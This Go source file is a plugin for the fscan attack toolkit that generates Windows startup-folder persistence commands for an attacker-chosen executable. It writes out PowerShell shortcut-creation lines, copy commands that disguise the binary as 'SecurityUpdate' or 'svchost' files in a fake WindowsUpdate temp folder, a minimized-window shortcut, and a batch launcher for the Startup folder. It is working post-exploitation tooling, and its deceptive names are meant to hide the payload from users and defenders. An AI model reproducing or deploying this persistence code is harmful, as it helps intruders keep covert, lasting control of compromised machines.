package winstartup

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// WinStartupPlugin Windows启动文件夹持久化插件 - 使用简化架构
type WinStartupPlugin struct {
	*local.BaseLocalPlugin
	pePath string
}

// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 - 简化版本
func NewWinStartupPlugin() *WinStartupPlugin {
	// 从全局参数获取PE文件路径
	peFile := common.WinPEFile
	if peFile == "" {
		peFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "winstartup",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows启动文件夹持久化插件，通过启动文件夹和快捷方式实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "windows", "startup"},
		Protocols:   []string{"local"},
	}

	plugin := &WinStartupPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		pePath:          peFile,
	}

	// 只支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 不需要特殊权限
	plugin.SetRequiresPrivileges(false)

	return plugin
}

// Initialize 初始化插件
func (p *WinStartupPlugin) Initialize() error {
	if p.pePath == "" {
		return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
		return fmt.Errorf("PE文件不存在: %s", p.pePath)
	}
	
	// 检查文件类型
	if !p.isValidPEFile(p.pePath) {
		return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行Windows启动文件夹持久化 - 简化版本
func (p *WinStartupPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("开始Windows启动文件夹持久化...")
	
	startupMethods, err := p.createStartupPersistence(p.pePath)
	if err != nil {
		return &base.ScanResult{
			Success: false,
			Error:   err,
		}, nil
	}

	common.LogInfo(fmt.Sprintf("创建了%d个启动文件夹持久化方法:", len(startupMethods)))
	for i, method := range startupMethods {
		common.LogInfo(fmt.Sprintf("%d. %s", i+1, method))
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "WinStartup",
		Banner:  fmt.Sprintf("Windows启动文件夹持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
		Extra: map[string]interface{}{
			"pe_file":           p.pePath,
			"persistence_type":  "startup",
			"methods_created":   len(startupMethods),
			"startup_methods":   startupMethods,
		},
	}
	
	return result, nil
}

func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) {
	absPath, err := filepath.Abs(pePath)
	if err != nil {
		return nil, fmt.Errorf("failed to get absolute path: %v", err)
	}

	var startupMethods []string
	baseName := filepath.Base(absPath)
	baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]

	startupLocations := []struct {
		path        string
		description string
		method      string
	}{
		{
			path:        `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
			description: "Current User Startup Folder",
			method:      "shortcut",
		},
		{
			path:        `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`,
			description: "All Users Startup Folder",
			method:      "shortcut",
		},
		{
			path:        `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`,
			description: "Current User Startup Folder (Direct Copy)",
			method:      "copy",
		},
		{
			path:        `%TEMP%\WindowsUpdate`,
			description: "Temp Directory with Startup Reference",
			method:      "temp_copy",
		},
	}

	for _, location := range startupLocations {
		switch location.method {
		case "shortcut":
			shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt)
			shortcutPath := filepath.Join(location.path, shortcutName)
			
			powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`,
				shortcutPath, absPath)
			
			startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd))

		case "copy":
			targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt)
			targetPath := filepath.Join(location.path, targetName)
			copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
			
			startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd))

		case "temp_copy":
			tempDir := filepath.Join(location.path)
			mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir)
			targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt)
			targetPath := filepath.Join(tempDir, targetName)
			copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath)
			
			startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd))
			
			shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt))
			powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`,
				shortcutPath, targetPath)
			
			startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd))
		}
	}

	batchScript := fmt.Sprintf(`@echo off
cd /d "%%~dp0"
start "" /b "%s"
exit`, absPath)

	batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt))
	batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath)
	startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd))

	return startupMethods, nil
}

// isValidPEFile 检查是否为有效的PE文件
func (p *WinStartupPlugin) isValidPEFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	return ext == ".exe" || ext == ".dll"
}

// RegisterWinStartupPlugin 注册Windows启动文件夹持久化插件
func RegisterWinStartupPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "winstartup",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Windows启动文件夹持久化插件，通过启动文件夹和快捷方式实现持久化",
			Category:    "local",
			Tags:        []string{"winstartup", "local", "persistence", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewWinStartupPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("winstartup", factory)
}

// init 插件注册函数
func init() {
	RegisterWinStartupPlugin()
}